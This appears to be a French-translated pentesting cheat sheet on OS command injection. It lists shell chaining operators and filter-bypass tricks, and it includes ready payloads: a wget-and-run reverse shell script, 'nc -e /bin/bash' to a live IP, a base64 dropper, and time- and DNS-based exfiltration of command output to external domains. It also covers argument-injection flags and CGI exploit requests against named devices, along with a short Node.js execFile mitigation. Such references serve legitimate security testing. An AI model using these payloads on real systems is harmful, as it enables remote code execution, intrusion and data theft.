Command Injection

Reading time: 7 minutes

Qu'est-ce que command Injection ?

Une command injection permet à un attaquant d'exécuter des commandes arbitraires du système d'exploitation sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou de contrôler l'environnement de l'application et le système sous-jacent.

Contexte

Selon l'endroit où votre entrée est injectée, vous devrez peut-être fermer le contexte entre guillemets (en utilisant " ou ') avant les commandes.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Limitation Bypasses

Si vous essayez d'exécuter des commandes arbitraires à l'intérieur d'une machine linux vous serez intéressé à lire ces Bypasses :

Bypass Linux Restrictions

Exemples

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Paramètres

Voici les 25 principaux paramètres qui pourraient être vulnérables à des vulnérabilités de type code injection et RCE similaires (d'après link) :

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Extraction de données : caractère par caractère

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Basé sur l'outil de https://github.com/HoLyVieR/dnsbin également hébergé à dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Outils en ligne pour vérifier l'exfiltration de données basée sur DNS:

• dnsbin.zhack.ca
• pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Lors d'un audit de back-ends JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js child_process.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() lance un shell (/bin/sh -c), donc tout caractère ayant une signification spéciale pour le shell (back-ticks, ;, &&, |, $(), …) aboutira à une command injection lorsque l'entrée utilisateur est concaténée dans la chaîne.

Atténuation : utilisez execFile() (ou spawn() sans l'option shell) et fournissez chaque argument comme un élément séparé du tableau afin qu'aucun shell ne soit impliqué :

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Toutes les injections n'exigent pas des métacaractères shell. Si l'application transmet des chaînes non fiables comme arguments à un utilitaire système (même avec execve/execFile et sans shell), de nombreux programmes analyseront quand même tout argument commençant par - ou -- comme une option. Cela permet à un attaquant de changer de mode, modifier des chemins de sortie, ou déclencher des comportements dangereux sans jamais ouvrir de shell.

Typical places where this appears:

• Embedded web UIs/CGI handlers that build commands like ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc.
• Centralized CGI routers (e.g., /cgi-bin/<something>.cgi with a selector parameter like topicurl=<handler>) where multiple handlers reuse the same weak validator.

What to try:

• Provide values that start with -/-- to be consumed as flags by the downstream tool.
• Abuse flags that change behavior or write files, for example:
• ping: -f/-c 100000 pour surcharger l'appareil (DoS)
• curl: -o /tmp/x pour écrire des chemins arbitraires, -K <url> pour charger une config contrôlée par l'attaquant
• tcpdump: -G 1 -W 1 -z /path/script.sh pour obtenir une exécution post-rotation dans des wrappers non sécurisés
• If the program supports -- end-of-options, try to bypass naive mitigations that prepend -- in the wrong place.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

Liste de détection Brute-Force

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Références

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
• https://portswigger.net/web-security/os-command-injection
• Extraction des archives chiffrées Synology – Synacktiv 2025
• Manuel PHP proc_open
• HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
• Unit 42 – TOTOLINK X6000R: Trois nouvelles vulnérabilités découvertes